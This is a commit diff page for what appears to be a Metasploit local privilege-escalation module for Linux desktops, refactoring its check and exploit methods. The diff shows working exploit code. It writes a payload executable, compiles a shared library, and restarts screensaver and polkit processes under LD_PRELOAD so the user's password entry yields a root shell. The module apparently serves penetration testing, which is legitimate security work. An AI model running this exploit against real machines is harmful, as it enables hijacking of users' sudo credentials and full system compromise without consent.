Skip to content

Commit 92b3505

Browse files
committed
Clean exploit method
1 parent 9c4d892 commit 92b3505

File tree

1 file changed

+43
-25
lines changed

1 file changed

+43
-25
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 43 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -61,13 +61,51 @@ def initialize(info={})
6161
end
6262

6363
def check
64-
output = cmd_exec("if which perl && which sudo && id|grep -E 'sudo|adm' && pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;then echo OK;fi").gsub("\r","")
64+
check_command = 'if which perl && '
65+
check_command << 'which sudo && '
66+
check_command << 'id|grep -E \'sudo|adm\' && '
67+
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
68+
check_command << 'then echo OK;'
69+
check_command << 'fi'
70+
71+
output = cmd_exec(check_command).gsub("\r", '')
72+
6573
vprint_status(output)
74+
6675
if output['OK'] == 'OK'
6776
return Exploit::CheckCode::Vulnerable
68-
else
69-
return Exploit::CheckCode::Safe
7077
end
78+
79+
Exploit::CheckCode::Safe
80+
end
81+
82+
def exploit
83+
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
84+
85+
print_status("Writing payload executable to '#{exe_file}'")
86+
write_file(exe_file, generate_payload_exe())
87+
cmd_exec("chmod +x #{exe_file}")
88+
89+
90+
cpu = nil
91+
if target['Arch'] == ARCH_X86
92+
cpu = Metasm::Ia32.new
93+
elsif target['Arch'] == ARCH_X86_64
94+
cpu = Metasm::X86_64.new
95+
end
96+
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
97+
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"
98+
99+
print_status("Writing lib file to '#{lib_file}'")
100+
write_file(lib_file,lib_data)
101+
102+
print_status('Restarting processes (screensaver/policykit)')
103+
restart_commands = get_restart_commands()
104+
restart_commands.each do |cmd|
105+
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
106+
cmd_exec(cmd)
107+
end
108+
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
71109
end
72110

73111
def get_restart_commands
@@ -96,12 +134,7 @@ def get_restart_commands
96134
return process_restart_commands
97135
end
98136

99-
def exploit
100-
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
101-
print_status("Writing payload executable to '#{exe_file}'")
102-
write_file(exe_file, generate_payload_exe())
103-
cmd_exec "chmod +x #{exe_file}"
104-
lib_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.so"
137+
def c_code(exe_file)
105138
c = %Q|
106139
// A few constants/function definitions/structs copied from header files
107140
#define RTLD_NEXT ((void *) -1l)
@@ -172,22 +205,7 @@ def exploit
172205
return;
173206
}
174207
|
175-
cpu = nil
176-
if target['Arch'] == ARCH_X86
177-
cpu = Metasm::Ia32.new
178-
elsif target['Arch'] == ARCH_X86_64
179-
cpu = Metasm::X86_64.new
180-
end
181-
lib_data = Metasm::ELF.compile_c(cpu, c).encode_string(:lib)
182-
print_status("Writing lib file to '#{lib_file}'")
183-
write_file(lib_file,lib_data)
184-
print_status('Restarting processes (screensaver/policykit)')
185-
process_restart_commands = get_restart_commands()
186-
process_restart_commands.each do |cmd|
187-
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
188-
cmd_exec(cmd)
189-
end
190-
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.')
208+
c
191209
end
192210
end
193211

0 commit comments

Comments
 (0)